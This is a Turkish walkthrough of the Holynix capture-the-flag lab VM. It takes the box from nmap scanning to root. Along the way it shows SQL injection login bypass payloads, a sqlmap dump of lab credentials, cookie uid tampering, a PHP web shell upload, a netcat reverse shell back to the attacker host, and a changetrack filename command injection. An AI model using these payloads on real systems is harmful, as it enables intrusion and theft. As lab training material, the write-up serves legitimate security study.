Holynix'i buradan indirebilirsiniz http://sourceforge.net/projects/holynix/.Vmware'de açarken "moved it" seçilmeli. Eğer virtualbox kullanılıyor veya "moved it" seçilmesine rağmen holynix ip adresi almıyorsa başka bir sistem ile disk mount edildikten sonra /etc/shadow dosyası açılıp root şifresi silinerek şifresiz giriş yapılabilir. Giriş yapıldıktan sonra "dhclient eth1" komutuyla ip alması sağlanabilir.

1) Vmware'de Holynix'in ağ adaptörünü host only olarak ayarladıktan sonra saldırgan ip adresini öğrenme:

 # ifconfig vmnet1
Link encap:Ethernet HWaddr 00:30:16:c3:07:22
inet addr:**192.168.60.1** Bcast:192.168.60.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:fec0:1/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

2) Holynix'in ip adresini öğrenme:

 # nmap -sn 192.168.60.0/24
Nmap scan report for 192.168.60.1
Host is up.
Nmap scan report for **192.168.60.128**
Host is up (0.000096s latency).
Nmap scan report for 192.168.60.254
Host is up (0.000045s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 34.67 seconds

3) Çalışan işletim sistemini, servisleri, açık portları tespit etme:

 # nmap -sS -T4 -A 192.168.60.128
Nmap scan report for 192.168.60.128
Host is up (0.00037s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http **Apache httpd 2.2.8** ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0D:29:5C:D6:4E (VMware)
Device type: general purpose
Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: **Linux 2.6.24 - 2.6.25**
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
4) Hata verdirerek işe yarar bilgi elde etme:

http://192.168.60.128/?page=login.php adresindeki name ve password değerleri olarak tek tırnak (') girildiğinde aşağıdaki hata mesajı gözükecektir:

SQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'" at line 1
SQL Statement:SELECT * FROM accounts WHERE username='\'' AND password='''

Bu hata mesajından hangi dbms'in kullanıldığı ve sorgunun ne olduğu bilgisi elde edilir. Ayrıca SQL Statement'a bakıldığında, username'deki tırnak işaretinin başına kaçış karakteri koyulduğu ama password için bu işlemin yapılmadığı gözüküyor. ;)

5) DBMS'ten veri çekmek:
Aslında gerek yok ama istenirse sqlmap ile dbms kayıtlarınının hepsi oldukça hızlı bir şekilde indirilebilir (bütün veritabanları, tablolar, sütunlar ve satırlar):
 # sqlmap -u 'http://192.168.60.128/?page=login.php' --forms --thread=8 --dbms=MySQL --batch –dump-all -v0

6) Kullanıcı girişi yapma:

Elde edilen bilgiler arasında kullanıcı adları ve parolaları da bulunuyor. Buradaki kullanıcıların her hangi bir tanesi ile giriş yapılabilir.

```
+-----+--------+------------+--------------------+
| cid | upload | username | password |
+-----+--------+------------+--------------------+
| 1 | 0 | alamo | Ih@cK3dM1cR05oF7 |
| 2 | 1 | etenenbaum | P3n7@g0n0wN3d |
| 3 | 1 | gmckinnon | d15cL0suR3Pr0J3c7 |
| 4 | 1 | hreiser | Ik1Ll3dNiN@r315er |
| 5 | 1 | jdraper | p1@yIngW17hPh0n35 |
| 6 | 1 | jjames | @rR35t3D@716 |
| 7 | 1 | jljohansen | m@k1nGb0o7L3g5 |
| 8 | 1 | kpoulsen | wH@7ar37H3Fed5D01n |
| 9 | 0 | ltorvalds | f@7H3r0FL1nUX |
| 10 | 1 | mrbutler | n@5aHaSw0rM5 |
| 11 | 1 | rtmorris | Myd@d51N7h3NSA |
+-----+--------+------------+--------------------+
```

Ya da bu bilgiler kullanılmadan tablodaki ilk kullanıcı “alamo” olarak giriş yapılabilirdi:
username: **deneme**
password: **' or 1=1#**

7) Yetki dışı işlem yapma:

Tablodaki ilk kullanıcı “Alamo” olarak giriş yaparken gönderilen isteğe karşılık olarak dönen cevabın başlıklarına bakıldığında:
HTTP/1.1 200 OK
Date: Fri, 18 Nov 2011 18:31:56 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: uid=1
Content-Length: 1076
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Cookie olarak uid=1 verildiği gözüküyor. Yapılan işlemlerde sadece bu cookie değerine göre yetkilendirme yapıldığı görülecektir. Dolayısıyla, sadece alamo ile giriş yapılabilir olsaydı bile, istek gönderilirkenki uid değeri değiştirilerek “kullanıcı yetkisi” arttırılabilirdi. Örneğin; alamo'nun upload yetkisi yok ama dosya gönderme sırasında burp proxy gibi bir yazılımla araya girip uid=1 değerini uid=11 olarak değiştirince dosya upload edilebiliyor. Burada aslında alamo'nun yetkileri arttırılmıyor, upload yetkisi olan başka bir kullanıcı olarak (rtmorris) dosya upload ediliyor.

8) Shell dosyası yükleme:

Öncelikle içeriği **<?php system($_REQUEST['cmd']); ?>** olan shell.php dosyasının izinleri uzaktan erişilmeye uygun olmalı:
 # chmod 644 shell.php
 # ls -l shell.php
-rw-r—r--
Yüklenen dosyanın izinlerinin değiştirildiği, hem yükleme sonrasında hem de erişilmeye çalışıldığında çıkan mesajdan anlaşılıyor.

Yükleme sonrası:
The ownership of the uploaded file(s) have been changed accordingly.

Erişilmeye çalışıldığında:
You don't have permission to access /~rtmorris/shell.php on this server.

Bu durumda shell.php dosyasının yüklenmesi işe yaramayacaktır. Ancak upload sayfasında “gzip

arşivlerini otomatik olarak çıkar" seçeneğinin olduğu gözüküyor. Eğer sadece upload edilen dosyanın izinleri değiştiriliyorsa, sıkıştırılan dosya otomatik olarak dizine çıkartıldığında erişim sağlanabilir. Dosyayı sıkıştırmak için:
 # tar czvf shell.tar.gz shell.php
Eğer dosya upload edildiğinde shell.php dosyası dizine çıkartılmadıysa Content-Type başlığı **application/x-gzip** olarak gönderiliyor olabilir. Sorunu aşmak için burp-proxy gibi bir araçla araya girerek bu başlığın değerini **application/gzip** olarak değiştirmek gerekir.

9) Shell.php dosyasının dizine çıkartıldığından emin olduktan sonra erişilebilirliği kontrol edilmeli:
http://192.168.60.128/~rtmorris/shell.php
Warning: system() [function.system]: Cannot execute a blank command in /home/rtmorris/shell.php on line 2
Shell'e uzaktan erişilebildiği onaylanmış oldu. Komut çalıştırmak için:
http://192.168.60.128/~rtmorris/shell.php?cmd=**KOMUT**

Upload edilen shell root yetkilerinde komut çalıştıramaz. Örneğin cat komutu ile /etc/passwd dosyasının içeriği görüntülenebiliyorken /etc/shadow dosyası görüntülenemez.

10) Root olma:
http://192.168.60.128/index.php?page=messageboard.php adresinde geçen konuşmalara bakıldığında:
jjames:(2011-11-17 07:06:25)
I'm having problems connecting to the ssh server. I keep getting a Connection refused error. Is there a problem I don't know about???
ltorvalds:(2011-11-17 08:03:15)
Check your email. There is no problem with the server or the system. As of late we have been experiencing an increased occurance of brute force attacks on our ssh server. In an attempt to stop this we have implemented a port knocking system using knockknock. A seperate profile has been generated for each user of this system. You will, however, need to install knockknock on your local system. It can be downloaded here or from http://www.thoughtcrime.org/software/knockknock/. If you have any problem with installation or getting knockknock to work just drop me an email or ask here.
jdraper:(2011-11-17 19:54:31)
I've got knockknock installed but I'm not exactly sure what to do with the profile.tar.gz file I got in the mail, could anyone help me out?
ltorvalds:(2011-11-18 08:04:51)
First create a knockknock dir in your home dir with 'mkdir ~/.knockknock/', then create a folder inside the .knockknock dir called either the ip of this machine or the domain. I use 'mkdir ~/.knockknock/nakimura.example.net'. Finally extract the tarball you recieved in the mail to that directory.

Kısacası ssh sunucusuna knockknock uygulaması ile bağlanılabileceği bilgisi elde edilir. http://www.thoughtcrime.org/software/knockknock/ adresine kurulum ve konfigürasyon bilgileri için bakılabilir.

- Uygulamayı messageboard.php sayfasındaki linklerin birinden indir
-
- tar xzf knockknock-0.7.tar.gz ile çıkart.
-
- cd knockknock-0.7
-
- python setup.py install ile yükle
-
- Home dizinine .knockknock isimli klasör oluştur.
-
- .knockknock dizini içinde ismi, hedef ip adresi ya da domain adı olan başka bir klasör oluştur.
-
- Bu klasörün içine profil dosyalarını oluştur. (cipher.key, config, counter, mac.key)

Son aşamayı gerçekleştirmek için hedef makinada kullanıcı profillerinin bulunduğu dizine erişmek gerekir. Kullanıcı olarak jljohansen seçilmesinin nedeni daha sonra anlaşılacaktır.

Saldırgan:
 # nc -lvp 777
Tarayıcı ==> http://192.168.60.128/~rtmorris/shell.php?cmd=nc 192.168.60.1 777 -e /bin/bash
Bağlandıktan sonra:
 # python -c "import pty;pty.spawn('/bin/bash')"
 # cd /etc/knockknock.d/profiles/jljohansen
 # ls
cipher.key config counter mac.key
 # cat *
UXM1EgLq5vRiNB5iPZKW9Q==
[main]
knock_port = 13826
8
qCzJ6+yGFGoFOOq8939W3Q==

Konuşmalara geçen diğer bir uygulama ise changetrack:

ltorvalds:(2011-11-16 11:21:58)
Changetrack has been installed to keep track of changes made in development source code. Hopefully we will have no further incidents.

ltorvalds:(2011-11-16 14:01:55)
No Adrian, there's no need to run changetrack manually. **It's scheduled to run by itself every five minutes**

Changetrack uygulamasının versiyonuna bakıp internette küçük bir araştırma yaptıktan sonra istismar kodu bulunur.

 # changetrack -v
4.3

http://www.exploit-db.com/exploits/9709/

şimdi yazma hakkı olan bir dizin bulunmalı:
 # ls -l /home
drwx**rwx**r-x 20 nobody developers 4096 2011-11-18 13:27 development
Developers isimli grubun yazma hakkı olan bir dizin bulundu. Web sitesindeki bilgilerden de tahmin edilebileceği gibi kullanıcı hesabı olup bu gruba dahil olan alamo ve jljohansen var. Bundan dolayı bu iki kullanıcıdan biri ile giriş yapılmalı.
 # su jljohansen
Password: **m@k1nGb0o7L3g5**
 # cd /home/development
 # touch "<\`nc -l -p 7777 -e \$SHELL\`"
 # ls

Konuşmalardan, changetrack'in her 5 dakikada bir çalışacağı anlaşılıyor. Yaklaşık 5 dakika bekledikten sonra
Saldırgan:
knockknock -p 7777 192.168.60.128
 # nc -v 192.168.60.128 7777
bağlandıktan sonra:
 # python -c "import pty;pty.spawn('/bin/bash')"
 # whoami
root

Görüldüğü üzere ssh ile bağlanmaya gerek yok ama istenirse aşağıdaki gibi bağlanılabilirdi:
knockknock -p 22 192.168.60.128
*** Success: knock sent.
# **ssh jljohansen@192.168.60.128**
The authenticity of host '192.168.60.128 (192.168.60.128)' can't be established.
RSA key fingerprint is 03:73:de:c7:17:96:0b:bb:8c:8e:c7:87:9b:5b:d5:c9.

Are you sure you want to continue connecting (yes/no)? **yes**
Warning: Permanently added '192.168.60.128' (RSA) to the list of known hosts.
jljohansen@192.168.60.128's password: **m@k1nGb0o7L3g5**